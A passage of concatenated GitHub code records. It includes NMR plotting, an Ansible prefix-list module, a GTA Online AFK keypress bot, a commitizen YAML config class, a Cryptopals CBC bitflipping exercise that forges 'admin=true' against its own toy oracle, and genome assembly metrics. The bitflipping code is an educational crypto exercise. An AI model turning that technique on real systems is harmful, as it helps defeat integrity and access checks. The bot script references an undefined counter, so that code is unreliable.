signal.append(float(x[1]))\n file.close()\n file = open(input_dir + filename + \"b\" + \".csv\") # read data of sine from csv table\n for i, line in enumerate(file):\n if not i==0:\n x = line.split(\",\")\n sine.append(float(x[1]))\n file.close()\n t = np.array(t)\n signal = np.array(signal)\n sine = np.array(sine)\n np.save(output_dir + filename + \"_t\", t)\n np.save(output_dir + filename + \"_signal\", signal)\n np.save(output_dir + filename + \"_sine\", sine)\n return t, signal, sine\n\ndef plot_signal(n, js, sample, I, nu, captions, fig_name, figsize):\n # Plot U(t) as n stacked plots\n fig, ax= plt.subplots(n+1, 1, sharex=True, figsize=figsize)\n fig.subplots_adjust(hspace=0) # create overlap\n xticklabels = ax[0].get_xticklabels() \n plt.setp(xticklabels, visible=False) # hide the xticks of the upper plot\n # plotting measured signal\n for k, j in enumerate(js):\n t, sig, sine = csv_to_npy(j+1)\n signal_label = 'signal for %s with $I = %.2f$ A, $\\\\nu = %.4f$ MHz'%(sample[k], I[k], nu[k])\n ax[k].plot(t, sig, '-', label=signal_label, linewidth=0.5) # plot signal\n ax[k].set_ylim(top=(ax[k].get_ylim()[1]*1.6)) # hide the overlapping ytick of the upper plot\n # plotting sine modulation\n ax[n].plot(t, sine, '-', label='sine modulation', linewidth=0.5) # plot B-modulation\n ax[n].set_xlabel('$t \\, / \\, \\mathrm{s}$')\n for k in range(n + 1):\n ax[k].legend(loc=1, frameon=True, fontsize=12)\n ax[k].grid(b=True)\n ax[k].set_xlim(min(t), max(t))\n ax[k].set_ylabel('$U(t) \\, / \\, \\mathrm{V}$')\n ax[k].set_yticks(ax[k].get_yticks()[1:-1]) # hide the overlapping ytick of the upper plot\n if save_fig:\n fig.savefig(fig_dir + fig_name + \".pdf\")\n f1.write('\\\\begin{figure}\\n')\n f1.write('\\t\\includegraphics[width=\\\\textwidth]{figures/%s.pdf}\\n'%fig_name)\n f1.write('\\t\\caption{\\n')\n for caption in captions:\n f1.write('\\t\\t' + caption + '\\n')\n f1.write('\\t\\t}\\n\\t\\label{fig:%s}\\n'%fig_name)\n f1.write('\\end{figure}\\n\\n')\n if show_fig:\n fig.show()\n return 0\n\n#####################################################################################################\nshow_fig = 0\nsave_fig = 1\nplt.close('all')\nfig_dir = '../figures/'\n\n# Specify parameters:\nn = [4, 2, 2]\njs = [range(4), [4, 5], [6, 7]]\nF = \"$^{19}$F, fluid\"\nT = \"$^{19}$F, Teflon\"\nH = \"$^1$H, water\"\nG = \"$^1$H, glycol\"\nsample = [[F, F, T, F], [H, H], [G, G]]\nI = [[3.23, 3.21, 3.21, 3.23], [2.94, 2.94], [2.94, 2.94]]\nnu = [[16.8573, 16.8811, 16.8130, 16.8905], [16.8503, 16.8503], [16.8704, 16.8704]]\ncaptions = [[\n 'Absorption peaks of $^{19}$F, measured ',\n 'at four different times. One can observe absorption peaks in each of',\n 'the measured signals. However, due to the described problems with fine tuning,',\n 'we were not able to produce equidistant peaks with a distance of half the,',\n 'wavelength of the input signal, shown in the lowest graph.'\n ],[\n 'Absorption peaks of proton ($^1$H) in water',\n 'at two times, both with $B_\\mathrm{measured} = 395$ mT.',\n 'No equidistant absorption peaks at the zero intersect of the sine are seen.'\n ],[\n 'Measured absorption peaks of proton ($^1$H) in glycol',\n 'at two times, both with $B_\\mathrm{measured} = 394$ mT.',\n 'Again, no equidistant absorption peaks at the zero intersect of the sine are seen.'\n ]]\nfig_name = [\"f_r_F\", \"f_r_H\", \"f_r_glycol\"]\nfigsize = [(8.09,2 * 5), (8.09,1.5*5), (8.09,1.5*5)]\n\nif save_fig: f1 = open('plots_f_r.tex', 'w+')\nfor i in range(3):\n plot_signal(n[i], js[i], sample[i], I[i], nu[i], captions[i], fig_name[i], figsize[i])\nif save_fig: f1.close()\n\n \n","repo_name":"Bondzio/fp","sub_path":"nmr/analysis/f_r.py","file_name":"f_r.py","file_ext":"py","file_size_in_byte":4533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21900084644","text":"from __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\n\nDOCUMENTATION = '''\n---\nmodule: pn_prefix_list\nauthor: \"Pluribus Networks (@rajaspachipulusu17)\"\nshort_description: CLI command to create/delete prefix-list\ndescription:\n - This module can be used to create or delete prefix list.\noptions:\n pn_cliswitch:\n description:\n - Target switch to run the CLI on.\n required: false\n type: str\n state:\n description:\n - State the action to perform. Use C(present) to create prefix-list and\n C(absent) to delete prefix-list.\n required: false\n type: str\n choices: ['present', 'absent']\n default: 'present'\n pn_name:\n description:\n - Prefix List Name.\n required: true\n type: str\n pn_scope:\n description:\n - scope of prefix-list.\n required: false\n type: str\n choices: ['local', 'fabric']\n'''\n\nEXAMPLES = \"\"\"\n- name: Create prefix list\n community.network.pn_prefix_list:\n pn_cliswitch: \"sw01\"\n pn_name: \"foo\"\n pn_scope: \"local\"\n state: \"present\"\n\n- name: Delete prefix list\n community.network.pn_prefix_list:\n pn_cliswitch: \"sw01\"\n pn_name: \"foo\"\n state: \"absent\"\n\"\"\"\n\nRETURN = \"\"\"\ncommand:\n description: the CLI command run on the target node.\n returned: always\n type: str\nstdout:\n description: set of responses from the prefix-list command.\n returned: always\n type: list\nstderr:\n description: set of error responses from the prefix-list command.\n returned: on error\n type: list\nchanged:\n description: indicates whether the CLI caused changes on the target.\n returned: always\n type: bool\n\"\"\"\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible_collections.community.network.plugins.module_utils.network.netvisor.pn_nvos import pn_cli, run_cli\nfrom ansible_collections.community.network.plugins.module_utils.network.netvisor.netvisor import run_commands\n\n\ndef check_cli(module, cli):\n \"\"\"\n This method checks for idempotency using the prefix-list-show command.\n If a name exists, return True if name exists else False.\n :param module: The Ansible module to fetch input parameters\n :param cli: The CLI string\n \"\"\"\n name = module.params['pn_name']\n\n cli += ' prefix-list-show format name no-show-headers'\n out = run_commands(module, cli)[1]\n\n if out:\n out = out.split()\n\n return True if name in out else False\n\n\ndef main():\n \"\"\" This section is for arguments parsing \"\"\"\n\n state_map = dict(\n present='prefix-list-create',\n absent='prefix-list-delete'\n )\n\n argument_spec = dict(\n pn_cliswitch=dict(required=False, type='str'),\n state=dict(required=False, type='str',\n choices=state_map.keys(), default='present'),\n pn_name=dict(required=True, type='str'),\n pn_scope=dict(required=False, type='str',\n choices=['local', 'fabric']),\n )\n\n module = AnsibleModule(\n argument_spec=argument_spec,\n required_if=(\n [\"state\", \"present\", [\"pn_name\", \"pn_scope\"]],\n [\"state\", \"absent\", [\"pn_name\"]],\n ),\n )\n\n # Accessing the arguments\n cliswitch = module.params['pn_cliswitch']\n state = module.params['state']\n name = module.params['pn_name']\n scope = module.params['pn_scope']\n\n command = state_map[state]\n\n # Building the CLI command string\n cli = pn_cli(module, cliswitch)\n\n NAME_EXISTS = check_cli(module, cli)\n\n cli += ' %s name %s ' % (command, name)\n\n if command == 'prefix-list-delete':\n if NAME_EXISTS is False:\n module.exit_json(\n skipped=True,\n msg='prefix-list with name %s does not exist' % name\n )\n else:\n if command == 'prefix-list-create':\n if NAME_EXISTS is True:\n module.exit_json(\n skipped=True,\n msg='prefix list with name %s already exists' % name\n )\n cli += ' scope %s ' % scope\n\n run_cli(module, cli, state_map)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ansible-collections/community.network","sub_path":"plugins/modules/pn_prefix_list.py","file_name":"pn_prefix_list.py","file_ext":"py","file_size_in_byte":4082,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"48"} +{"seq_id":"42991809747","text":"import time\r\nfrom directkeys import K, PressKey, ReleaseKey, W, A, S, D, ENTER\r\n#Time: 20mints\r\n#Money: $48750\r\n#Name: NinjaCat Solo afk\r\n\r\n\r\n\r\n#count = 1\r\n\r\ndef automation_ninja():\r\n print(\"\\n\\n\\nBuffering Time\")\r\n for x in range(15):\r\n time.sleep(1)\r\n print(15-x)\r\n print(\"\\n\\n\\nLap Started\") \r\n for x in range(20):\r\n time.sleep(1)\r\n print(20-x)\r\n print(\"waiting completed\")\r\n #pressing a+s for not going afk for 20 Mints\r\n PressKey(K)\r\n for x in range(20):\r\n print(x+1)\r\n print(\"Wave Running\")\r\n time.sleep(29.8)\r\n print(\"half the way\")\r\n time.sleep(29.8)\r\n ReleaseKey(K)\r\n #releasing s and a after main event completion\r\n print(\"End of main event\\nwaiting for replay window pop up\\n\")\r\n #wait for rp and moneyt screen hover\r\n \r\n print(\"Extras\")\r\n time.sleep(35)\r\n for x in range(35):\r\n print(34-x)\r\n time.sleep(1)\r\n #pressing replay button and wait for 20 sec to download buffer\r\n #one down\r\n PressKey(S)\r\n ReleaseKey(S)\r\n time.sleep(0.5)\r\n \r\n #two down\r\n PressKey(S)\r\n ReleaseKey(S)\r\n time.sleep(0.5)\r\n \r\n #pressing the enter\r\n PressKey(ENTER)\r\n ReleaseKey(ENTER)\r\n print(\"Entered Replay Button\\n\")\r\n #waiting for another 8 secs for confirmation and play pop up\r\n for x in range(15):\r\n time.sleep(1)\r\n print(15-x)\r\n \r\n #confirmation selection\r\n PressKey(W)\r\n ReleaseKey(W)\r\n time.sleep(2)\r\n PressKey(ENTER)\r\n ReleaseKey(ENTER)\r\n print(\"Entered Confermation Button\\n\")\r\n #wait between two buffers\r\n time.sleep(3) \r\n \r\n #play selection\r\n PressKey(D)\r\n ReleaseKey(D)\r\n time.sleep(3)#set to matchmacking closed\r\n print(\"Set to Closed Matchmacking\")\r\n PressKey(W)\r\n ReleaseKey(W)\r\n time.sleep(3)\r\n PressKey(ENTER)\r\n ReleaseKey(ENTER)\r\n time.sleep(3)\r\n PressKey(ENTER)\r\n ReleaseKey(ENTER)\r\n print(\"Entered Confermation Button\\n\")\r\n print(\"Waitting for download buffer\\n\")\r\n print(\"Lap Complete\\n\\n\\n\\n................................................\") \r\n\r\nwhile(1):\r\n automation_ninja() \r\n count=count+1\r\n \r\n \r\n ","repo_name":"AlphaTanmoy/GTA-Online-Automation","sub_path":"gta_automation.py","file_name":"gta_automation.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"34906145880","text":"from __future__ import annotations\n\nfrom pathlib import Path\n\nimport yaml\n\nfrom commitizen.git import smart_open\nfrom commitizen.exceptions import InvalidConfigurationError\n\nfrom .base_config import BaseConfig\n\n\nclass YAMLConfig(BaseConfig):\n def __init__(self, *, data: bytes | str, path: Path | str):\n super().__init__()\n self.is_empty_config = False\n self.add_path(path)\n self._parse_setting(data)\n\n def init_empty_config_content(self):\n with smart_open(self.path, \"a\", encoding=self.encoding) as json_file:\n yaml.dump({\"commitizen\": {}}, json_file, explicit_start=True)\n\n def _parse_setting(self, data: bytes | str) -> None:\n \"\"\"We expect to have a section in cz.yaml looking like\n\n ```\n commitizen:\n name: cz_conventional_commits\n ```\n \"\"\"\n import yaml.scanner\n\n try:\n doc = yaml.safe_load(data)\n except yaml.YAMLError as e:\n raise InvalidConfigurationError(f\"Failed to parse {self.path}: {e}\")\n\n try:\n self.settings.update(doc[\"commitizen\"])\n except (KeyError, TypeError):\n self.is_empty_config = True\n\n def set_key(self, key, value):\n \"\"\"Set or update a key in the conf.\n\n For now only strings are supported.\n We use to update the version number.\n \"\"\"\n with open(self.path, \"rb\") as yaml_file:\n parser = yaml.load(yaml_file, Loader=yaml.FullLoader)\n\n parser[\"commitizen\"][key] = value\n with smart_open(self.path, \"w\", encoding=self.encoding) as yaml_file:\n yaml.dump(parser, yaml_file, explicit_start=True)\n\n return self\n","repo_name":"commitizen-tools/commitizen","sub_path":"commitizen/config/yaml_config.py","file_name":"yaml_config.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":1914,"dataset":"github-code","pt":"48"} +{"seq_id":"37060297874","text":"import binascii\nfrom Crypto.Cipher import AES\nimport base64\nimport struct\nimport re\nfrom random import randint\n\nk = b''\n\ndef gen_AES_key(length=16):\n key = bytes()\n for i in range(length):\n key += struct.pack('B', randint(0,255))\n\n return key\n\ndef validiate_pks7(txt):\n count = 0\n for i in range(len(txt)-1, 0, -1):\n if ord(txt[i]) < 32 or ord(txt[i]) > 126 or ord(txt[i]) == 9 or ord(txt[i]) == 10 or ord(txt[i]) == 13:\n if txt[i] != '\\x04':\n raise Exception('Invalid PKS#7 padding')\n else:\n count += 1\n stripped = txt[:-count]\n return stripped\n\n# cbc encrypt with a 16 byte iv and key\ndef cbc_encrypt(data, key, iv):\n mode = AES.MODE_ECB\n cr = AES.new(key, mode)\n\n blocks = get_blocks(data)\n prev_block = bytes()\n encry = bytes()\n\n prev_block = iv\n for block in blocks:\n prev_block = cr.encrypt(xor_encrypt(block, prev_block))\n encry += prev_block\n\n return encry\n\n# cbc decrypt with a 16 byte iv and key\ndef cbc_decrypt(data, key, iv):\n mode = AES.MODE_ECB\n cr = AES.new(key, mode)\n\n blocks = get_blocks(data)\n decry = bytes()\n\n prev_block = iv\n for block in blocks:\n decry += xor_encrypt(cr.decrypt(block), prev_block, False)\n prev_block = block\n\n return decry\n\n# fills a key to match the size of text its encrypting against\ndef fill_key(block, key):\n pad = len(block)//len(key)\n extpad = len(block)%len(key)\n\n return key*pad + key[:extpad]\n\ndef get_blocks(data, size=16):\n if len(data)%size != 0:\n padded_len = size*(len(data)//size + 1)\n data = pad(data, padded_len)\n\n # divide data in size chunks\n num_blocks = len(data)//size\n\n blocks = []\n for i in range(0, num_blocks):\n st = i*size\n blocks.append(data[st:st+size])\n\n return blocks\n\n# xors bytes against a key\ndef xor_encrypt(block, key, pad=False):\n if pad:\n key = fill_key(key, block)\n\n return bytes([a^b for (a,b) in zip(key, block)])\n\n# pads bytes() to make sure they're of equal length\ndef pad(block, length):\n pad_length = length - len(block)\n padding = b'\\x04'\n\n if pad_length:\n return block + (padding*pad_length)\n else:\n return block\n\ndef encrypt_txt(txt):\n global k\n iv = b'\\x00' * 16\n txt = \"comment1=cooking%20MCs;userdata=\" + txt + \";comment2=%20like%20a%20pound%20of%20bacon\"\n escaped = txt.replace(';', '\";\"').replace('=', '\"=\"')\n enc = cbc_encrypt(bytes(escaped,'ascii'),k ,iv)\n\n return enc\n\ndef check_admin(data):\n global k\n iv = b'\\x00' * 16\n txt = cbc_decrypt(data,k,iv).decode('ascii', 'ignore')\n admin = \"admin=true\"\n\n if admin in txt:\n return True\n\n return False\n\ndef main():\n global k\n k = gen_AES_key()\n\n \"\"\"\n\n escaped blocks:\n\n comment1\"=\"cooki\n ng%20MCs\";\"userd\n ata\"=\"\";\"adminxt\n rue\";\"comment2\"=\n\n \"\"\"\n enc = bytearray(encrypt_txt(\";admin true;\"))\n\n first_block = enc[:16]\n second_block = enc[16:32]\n the_rest = enc[32:]\n\n # from ' ' to =\n second_block[14] = second_block[14] ^ ord(\" \") ^ ord(\"=\")\n new_enc = bytes(first_block + second_block + the_rest)\n\n print(check_admin(new_enc))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jroblak/Cryptopals","sub_path":"part 2/16.py","file_name":"16.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39061924192","text":"#!/usr/bin/env python3\nfrom genewrappers.biotools import mash\nfrom Bio.SeqUtils import GC\nimport multiprocessing\nfrom Bio import SeqIO\nfrom glob import glob\nimport subprocess\nimport shutil\nimport click\nimport time\nimport os\n__author__ = 'adamkoziol', 'andrewlow'\n\n\ndef main(sequencepath, report, refseq_database, num_threads=12):\n \"\"\"\n Run the appropriate functions in order\n :param sequencepath: path of folder containing FASTA genomes\n :param report: boolean to determine whether a report is to be created\n :param refseq_database: Path to reduced refseq database sketch\n :param num_threads: Number of threads to run mash/other stuff on\n :return: gc_dict, contig_dist_dict, longest_contig_dict, genome_length_dict, num_contigs_dict, n50_dict, n75_dict, \\\n n90_dict, l50_dict, l75_dict, l90_dict, orf_dist_dict\n \"\"\"\n files = find_files(sequencepath)\n file_dict = filer(files)\n print('Using MASH to determine genera of samples')\n genus_dict = find_genus(files=file_dict,\n database=refseq_database,\n sequencepath=sequencepath,\n threads=num_threads)\n file_records = fasta_records(file_dict)\n print('Collecting basic quality metrics')\n contig_len_dict, gc_dict = fasta_stats(file_dict, file_records)\n contig_dist_dict = find_contig_distribution(contig_len_dict)\n longest_contig_dict = find_largest_contig(contig_len_dict)\n genome_length_dict = find_genome_length(contig_len_dict)\n num_contigs_dict = find_num_contigs(contig_len_dict)\n n50_dict = find_n50(contig_len_dict, genome_length_dict)\n n75_dict = find_n75(contig_len_dict, genome_length_dict)\n n90_dict = find_n90(contig_len_dict, genome_length_dict)\n l50_dict = find_l50(contig_len_dict, genome_length_dict)\n l75_dict = find_l75(contig_len_dict, genome_length_dict)\n l90_dict = find_l90(contig_len_dict, genome_length_dict)\n print('Using prodigal to calculate number of ORFs in each sample')\n orf_file_dict = predict_orfs(file_dict, num_threads=num_threads)\n orf_dist_dict = find_orf_distribution(orf_file_dict)\n if report:\n reporter(gc_dict, contig_dist_dict, longest_contig_dict, genome_length_dict, num_contigs_dict, n50_dict,\n n75_dict, n90_dict, l50_dict, l75_dict, l90_dict, orf_dist_dict, genus_dict, sequencepath)\n print('Features extracted!')\n return gc_dict, contig_dist_dict, longest_contig_dict, genome_length_dict, num_contigs_dict, n50_dict, n75_dict, \\\n n90_dict, l50_dict, l75_dict, l90_dict, orf_dist_dict\n\n\ndef find_files(sequencepath):\n \"\"\"\n Use glob to find all FASTA files in the provided sequence path. NOTE: FASTA files must have an extension such as\n .fasta, .fa, or .fas. Extensions of .fsa, .tfa, ect. are not currently supported\n :param sequencepath: path of folder containing FASTA genomes\n :return: list of FASTA files\n \"\"\"\n # Create a sorted list of all the FASTA files in the sequence path\n files = sorted(glob(os.path.join(sequencepath, '*.fa*')))\n return files\n\n\ndef filer(filelist):\n \"\"\"\n Helper script that creates a dictionary of the stain name: /sequencepath/strain_name.extension)\n :param filelist: list of files to parse\n :return filedict: dictionary of stain name: /sequencepath/strain_name.extension\n \"\"\"\n # Initialise the dictionary\n filedict = dict()\n for seqfile in filelist:\n # Split off the file extension and remove the path from the name\n strainname = os.path.splitext(os.path.basename(seqfile))[0]\n # Populate the dictionary\n filedict[strainname] = seqfile\n return filedict\n\n\ndef fasta_records(files):\n \"\"\"\n Use SeqIO to create dictionaries of all records for each FASTA file\n :param files: dictionary of stain name: /sequencepath/strain_name.extension\n :return: file_records: dictionary of all contig records for all strains\n \"\"\"\n # Initialise the dictionary\n file_records = dict()\n for file_name, fasta in files.items():\n # Create a dictionary of records for each file\n record_dict = SeqIO.to_dict(SeqIO.parse(fasta, \"fasta\"))\n # Set the records dictionary as the value for file_records\n file_records[file_name] = record_dict\n return file_records\n\n\ndef find_genus(files, database, sequencepath, threads=12):\n \"\"\"\n Uses MASH to find the genus of fasta files.\n :param files: File dictionary returned by filer method.\n :param database: Path to reduced refseq database sketch.\n :param sequencepath: Path to sequences\n :param threads: Number of threads to run mash with.\n :return: genus_dict: Dictionary of genus for each sample. Will return NA if genus could not be found.\n \"\"\"\n genus_dict = dict()\n tmpdir = os.path.join(sequencepath, str(time.time()).split('.')[-1])\n if not os.path.isdir(tmpdir):\n os.makedirs(tmpdir)\n for file_name, fasta in files.items():\n mash.screen(database, fasta,\n threads=threads,\n w='',\n i=0.95,\n output_file=os.path.join(tmpdir, 'screen.tab'))\n screen_output = mash.read_mash_screen(os.path.join(tmpdir, 'screen.tab'))\n try:\n os.remove(os.path.join(tmpdir, 'screen.tab'))\n except IOError:\n pass\n try:\n genus = screen_output[0].query_id.split('/')[-3]\n if genus == 'Shigella':\n genus = 'Escherichia'\n genus_dict[file_name] = genus\n except IndexError:\n genus_dict[file_name] = 'NA'\n\n shutil.rmtree(tmpdir)\n return genus_dict\n\n\ndef fasta_stats(files, records):\n \"\"\"\n Parse the lengths of all contigs for each sample, as well as the total GC%\n :param files: dictionary of stain name: /sequencepath/strain_name.extension\n :param records: Dictionary of strain name: SeqIO records\n :return: contig_len_dict, gc_dict: dictionaries of list of all contig length, and total GC% for all strains\n \"\"\"\n # Initialise dictionaries\n contig_len_dict = dict()\n gc_dict = dict()\n for file_name in files:\n # Initialise variables to store appropriate values parsed from contig records\n contig_lengths = list()\n fasta_sequence = str()\n for contig, record in records[file_name].items():\n # Append the length of the contig to the list\n contig_lengths.append(len(record.seq))\n # Add the contig sequence to the string\n fasta_sequence += record.seq\n # Set the reverse sorted (e.g. largest to smallest) list of contig sizes as the value\n contig_len_dict[file_name] = sorted(contig_lengths, reverse=True)\n # Calculate the GC% of the total genome sequence using GC - format to have two decimal places\n gc_dict[file_name] = float('{:0.2f}'.format(GC(fasta_sequence)))\n return contig_len_dict, gc_dict\n\n\ndef find_contig_distribution(contig_lengths_dict):\n \"\"\"\n Determine the frequency of different contig size ranges for each strain\n :param contig_lengths_dict:\n :return: contig_len_dist_dict: dictionary of strain name: tuple of contig size range frequencies\n \"\"\"\n # Initialise the dictionary\n contig_len_dist_dict = dict()\n for file_name, contig_lengths in contig_lengths_dict.items():\n # Initialise integers to store the number of contigs that fall into the different bin sizes\n over_1000000 = 0\n over_500000 = 0\n over_100000 = 0\n over_50000 = 0\n over_10000 = 0\n over_5000 = 0\n other = 0\n for contig_length in contig_lengths:\n # Depending on the size of the contig, increment the appropriate integer\n if contig_length > 1000000:\n over_1000000 += 1\n elif contig_length > 500000:\n over_500000 += 1\n elif contig_length > 100000:\n over_100000 += 1\n elif contig_length > 50000:\n over_50000 += 1\n elif contig_length > 10000:\n over_10000 += 1\n elif contig_length > 5000:\n over_5000 += 1\n else:\n other += 1\n # Populate the dictionary with a tuple of each of the size range frequencies\n contig_len_dist_dict[file_name] = (over_1000000,\n over_500000,\n over_100000,\n over_50000,\n over_10000,\n over_5000,\n other)\n return contig_len_dist_dict\n\n\ndef find_largest_contig(contig_lengths_dict):\n \"\"\"\n Determine the largest contig for each strain\n :param contig_lengths_dict: dictionary of strain name: reverse-sorted list of all contig lengths\n :return: longest_contig_dict: dictionary of strain name: longest contig\n \"\"\"\n # Initialise the dictionary\n longest_contig_dict = dict()\n for file_name, contig_lengths in contig_lengths_dict.items():\n # As the list is sorted in descending order, the largest contig is the first entry in the list\n longest_contig_dict[file_name] = contig_lengths[0]\n return longest_contig_dict\n\n\ndef find_genome_length(contig_lengths_dict):\n \"\"\"\n Determine the total length of all the contigs for each strain\n :param contig_lengths_dict: dictionary of strain name: reverse-sorted list of all contig lengths\n :return: genome_length_dict: dictionary of strain name: total genome length\n \"\"\"\n # Initialise the dictionary\n genome_length_dict = dict()\n for file_name, contig_lengths in contig_lengths_dict.items():\n # Use the sum() method to add all the contig lengths in the list\n genome_length_dict[file_name] = sum(contig_lengths)\n return genome_length_dict\n\n\ndef find_num_contigs(contig_lengths_dict):\n \"\"\"\n Count the total number of contigs for each strain\n :param contig_lengths_dict: dictionary of strain name: reverse-sorted list of all contig lengths\n :return: num_contigs_dict: dictionary of strain name: total number of contigs\n \"\"\"\n # Initialise the dictionary\n num_contigs_dict = dict()\n for file_name, contig_lengths in contig_lengths_dict.items():\n # Use the len() method to count the number of entries in the list\n num_contigs_dict[file_name] = len(contig_lengths)\n return num_contigs_dict\n\n\ndef find_n50(contig_lengths_dict, genome_length_dict):\n \"\"\"\n Calculate the N50 for each strain. N50 is defined as the largest contig such that at least half of the total\n genome size is contained in contigs equal to or larger than this contig\n :param contig_lengths_dict: dictionary of strain name: reverse-sorted list of all contig lengths\n :param genome_length_dict: dictionary of strain name: total genome length\n :return: n50_dict: dictionary of strain name: N50\n \"\"\"\n # Initialise the dictionary\n n50_dict = dict()\n for file_name, contig_lengths in contig_lengths_dict.items():\n # Initialise a variable to store a running total of contig lengths\n currentlength = 0\n for contig_length in contig_lengths:\n # Increment the current length with the length of the current contig\n currentlength += contig_length\n # If the current length is now greater than the total genome / 2, the current contig length is the N50\n if currentlength >= genome_length_dict[file_name] * 0.5:\n # Populate the dictionary, and break the loop\n n50_dict[file_name] = contig_length\n break\n return n50_dict\n\n\ndef find_n75(contig_lengths_dict, genome_length_dict):\n \"\"\"\n Calculate the N75 for each strain. N75 is defined as the largest contig such that at least 3/4 of the total\n genome size is contained in contigs equal to or larger than this contig\n :param contig_lengths_dict: dictionary of strain name: reverse-sorted list of all contig lengths\n :param genome_length_dict: dictionary of strain name: total genome length\n :return: n75_dict: dictionary of strain name: N75\n \"\"\"\n # Initialise the dictionary\n n75_dict = dict()\n for file_name, contig_lengths in contig_lengths_dict.items():\n currentlength = 0\n for contig_length in contig_lengths:\n currentlength += contig_length\n # If the current length is now greater than the 3/4 of the total genome length, the current contig length\n # is the N75\n if currentlength >= genome_length_dict[file_name] * 0.75:\n n75_dict[file_name] = contig_length\n break\n return n75_dict\n\n\ndef find_n90(contig_lengths_dict, genome_length_dict):\n \"\"\"\n Calculate the N90 for each strain. N90 is defined as the largest contig such that at least 9/10 of the total\n genome size is contained in contigs equal to or larger than this contig\n :param contig_lengths_dict: dictionary of strain name: reverse-sorted list of all contig lengths\n :param genome_length_dict: dictionary of strain name: total genome length\n :return: n75_dict: dictionary of strain name: N90\n \"\"\"\n # Initialise the dictionary\n n90_dict = dict()\n for file_name, contig_lengths in contig_lengths_dict.items():\n currentlength = 0\n for contig_length in contig_lengths:\n currentlength += contig_length\n # If the current length is now greater than the 3/4 of the total genome length, the current contig length\n # is the N75\n if currentlength >= genome_length_dict[file_name] * 0.95:\n n90_dict[file_name] = contig_length\n break\n return n90_dict\n\n\ndef find_l50(contig_lengths_dict, genome_length_dict):\n \"\"\"\n Calculate the L50 for each strain. L50 is defined as the number of contigs required to achieve the N50\n :param contig_lengths_dict: dictionary of strain name: reverse-sorted list of all contig lengths\n :param genome_length_dict: dictionary of strain name: total genome length\n :return: l50_dict: dictionary of strain name: L50\n \"\"\"\n # Initialise the dictionary\n l50_dict = dict()\n for file_name, contig_lengths in contig_lengths_dict.items():\n currentlength = 0\n # Initialise a variable to count how many contigs have been added to the currentlength variable\n currentcontig = 0\n for contig_length in contig_lengths:\n currentlength += contig_length\n # Increment :currentcontig each time a contig is added to the current length\n currentcontig += 1\n # Same logic as with the N50, but the contig number is added instead of the length of the contig\n if currentlength >= genome_length_dict[file_name] * 0.5:\n l50_dict[file_name] = currentcontig\n break\n return l50_dict\n\n\ndef find_l75(contig_lengths_dict, genome_length_dict):\n \"\"\"\n Calculate the L50 for each strain. L75 is defined as the number of contigs required to achieve the N75\n :param contig_lengths_dict: dictionary of strain name: reverse-sorted list of all contig lengths\n :param genome_length_dict: dictionary of strain name: total genome length\n :return: l50_dict: dictionary of strain name: L75\n \"\"\"\n # Initialise the dictionary\n l75_dict = dict()\n for file_name, contig_lengths in contig_lengths_dict.items():\n currentlength = 0\n currentcontig = 0\n for contig_length in contig_lengths:\n currentlength += contig_length\n currentcontig += 1\n # Same logic as with the L75, but the contig number is added instead of the length of the contig\n if currentlength >= genome_length_dict[file_name] * 0.75:\n l75_dict[file_name] = currentcontig\n break\n return l75_dict\n\n\ndef find_l90(contig_lengths_dict, genome_length_dict):\n \"\"\"\n Calculate the L90 for each strain. L90 is defined as the number of contigs required to achieve the N90\n :param contig_lengths_dict: dictionary of strain name: reverse-sorted list of all contig lengths\n :param genome_length_dict: dictionary of strain name: total genome length\n :return: l90_dict: dictionary of strain name: L90\n \"\"\"\n # Initialise the dictionary\n l90_dict = dict()\n for file_name, contig_lengths in contig_lengths_dict.items():\n currentlength = 0\n # Initialise a variable to count how many contigs have been added to the currentlength variable\n currentcontig = 0\n for contig_length in contig_lengths:\n currentlength += contig_length\n # Increment :currentcontig each time a contig is added to the current length\n currentcontig += 1\n # Same logic as with the N50, but the contig number is added instead of the length of the contig\n if currentlength >= genome_length_dict[file_name] * 0.9:\n l90_dict[file_name] = currentcontig\n break\n return l90_dict\n\n\ndef predict_orfs(file_dict, num_threads=1):\n \"\"\"\n Use prodigal to predict the number of open reading frames (ORFs) in each strain\n :param file_dict: dictionary of strain name: /sequencepath/strain_name.extension\n :param num_threads: number of threads to use in the pool of prodigal processes\n :return: orf_file_dict: dictionary of strain name: /sequencepath/prodigal results.sco\n \"\"\"\n # Initialise the dictionary\n orf_file_dict = dict()\n prodigallist = list()\n for file_name, file_path in file_dict.items():\n # Set the name of the output .sco results file\n results = os.path.splitext(file_path)[0] + '.sco'\n # Create the command for prodigal to execute - use sco output format\n prodigal = ['prodigal', '-i', file_path, '-o', results, '-f', 'sco']\n # Only run prodigal if the output file doesn't already exist\n if not os.path.isfile(results):\n prodigallist.append(prodigal)\n # Populate the dictionary with the name of the results file\n orf_file_dict[file_name] = results\n # Setup the multiprocessing pool.\n pool = multiprocessing.Pool(processes=num_threads)\n pool.map(run_prodigal, prodigallist)\n pool.close()\n pool.join()\n return orf_file_dict\n\n\ndef run_prodigal(prodigal_command):\n with open(os.devnull, 'w') as f: # No need to make the use see prodigal output, send it to devnull\n subprocess.call(prodigal_command, stdout=f, stderr=f)\n\n\ndef find_orf_distribution(orf_file_dict):\n \"\"\"\n Parse the prodigal outputs to determine the frequency of ORF size ranges for each strain\n :param orf_file_dict: dictionary of strain name: /sequencepath/prodigal results.sco\n :return: orf_dist_dict: dictionary of strain name: tuple of ORF size range distribution frequencies\n \"\"\"\n # Initialise the dictionary\n orf_dist_dict = dict()\n for file_name, orf_report in orf_file_dict.items():\n # Initialise variable to store the frequency of the different ORF size ranges\n total_orfs = 0\n over_3000 = 0\n over_1000 = 0\n over_500 = 0\n other = 0\n # Open the strain-specific report\n with open(orf_report, 'r') as orfreport:\n for line in orfreport:\n # The report has a header section that can be ignored - only parse lines beginning with '>'\n if line.startswith('>'):\n # Split the line on '_' characters e.g. 